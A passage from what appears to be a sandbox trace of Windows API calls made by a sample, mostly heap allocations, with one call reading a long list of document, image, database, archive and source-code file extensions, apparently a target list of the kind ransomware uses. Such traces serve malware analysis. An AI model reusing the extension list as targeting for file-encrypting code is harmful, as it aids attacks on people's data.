RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e0b68 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e0be0 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0b38 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0d30 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b41f8 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0d78 [0122.336] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2068, Size=0x80) returned 0x5e2320 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0b50 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0c10 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0c40 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0d60 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0b08 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0c58 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0c70 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4088 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0af0 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0d48 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0c88 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0d90 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0ca0 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0cb8 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0cd0 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0b20 [0122.337] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2320, Size=0x100) returned 0x5ae298 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0ce8 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0d18 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0da8 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0ac0 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0f28 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0e50 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4108 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0ee0 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0e98 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0e68 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5b4208 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0e80 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0f70 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4048 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0e08 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0dc0 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0dd8 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0ef8 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0f40 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0e20 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e0e38 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0f58 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0ec8 [0122.337] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0eb0 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0f10 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5deaa8 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5deaf0 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4058 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4328 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e43a0 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4388 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4550 [0122.338] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ae298, Size=0x200) returned 0x623848 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e42b0 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4068 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4598 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4490 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e44d8 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4448 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4430 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4520 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e42f8 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4310 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e42e0 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4478 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4400 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4418 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e42c8 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4340 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4358 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e44a8 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4370 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e44c0 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e43b8 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4460 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e43d0 [0122.338] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4078 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e44f0 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4508 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e43e8 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4098 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4538 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4568 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4580 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e46d0 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4880 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e47d8 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e46b8 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4688 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e46e8 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4700 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4718 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4898 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e47f0 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4658 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4778 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e45c8 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4730 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4790 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4748 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e46a0 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4610 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b40a8 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5b40e8 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4850 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e45b0 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4640 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4838 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4670 [0122.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4808 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4820 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4868 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4628 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4760 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e45e0 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e45f8 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e47a8 [0122.340] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623848, Size=0x400) returned 0x623848 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e47c0 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e48b0 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4970 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e48e0 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4958 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e49e8 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e48f8 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4910 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4988 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4928 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4118 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e49d0 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4a00 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4940 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e48c8 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e49a0 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e49b8 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e4a18 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4a48 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4a60 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4a30 [0122.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4b90 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4cc8 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4c08 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4c38 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4ba8 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4178 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4c20 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4b78 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4bc0 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4c80 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4b60 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4c98 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4d40 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4cb0 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4b30 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e4bd8 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4d58 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e4ae8 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4bf0 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4c50 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4d70 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4b48 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4cf8 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e4c68 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4ce0 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4d28 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4d10 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4d88 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4ad0 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4da0 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4ab8 [0122.341] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4b00 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4b18 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4fe0 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4f08 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4f20 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4f50 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4db8 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4f68 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4ea8 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4e90 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e4ff8 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12) returned 0x5b83c8 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4e18 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4e30 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4f38 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5010 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4dd0 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4ec0 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4e60 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4de8 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4e00 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e50a0 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4e48 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4e78 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4f80 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4f98 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4fb0 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4ed8 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5028 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5040 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4fc8 [0122.342] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e4ef0 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e5058 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e5070 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e5088 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e5190 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e51d8 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b4188 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e51f0 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b3ea8 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5250 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5208 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5220 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e5148 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e5178 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5130 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e5160 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5268 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e50b8 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e5238 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e50e8 [0122.343] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e50d0 [0122.351] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e5100 [0122.351] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e5118 [0122.351] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b3f98 [0122.351] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e51a8 [0122.351] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e51c0 [0122.351] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623848, Size=0x800) returned 0x5e5a98 [0122.351] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0122.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3278 | out: hHeap=0x5a0000) returned 1 [0122.352] lstrlenW (lpString="") returned 0 [0122.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e69a8 | out: hHeap=0x5a0000) returned 1 [0122.352] lstrlenW (lpString=".com") returned 4 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, 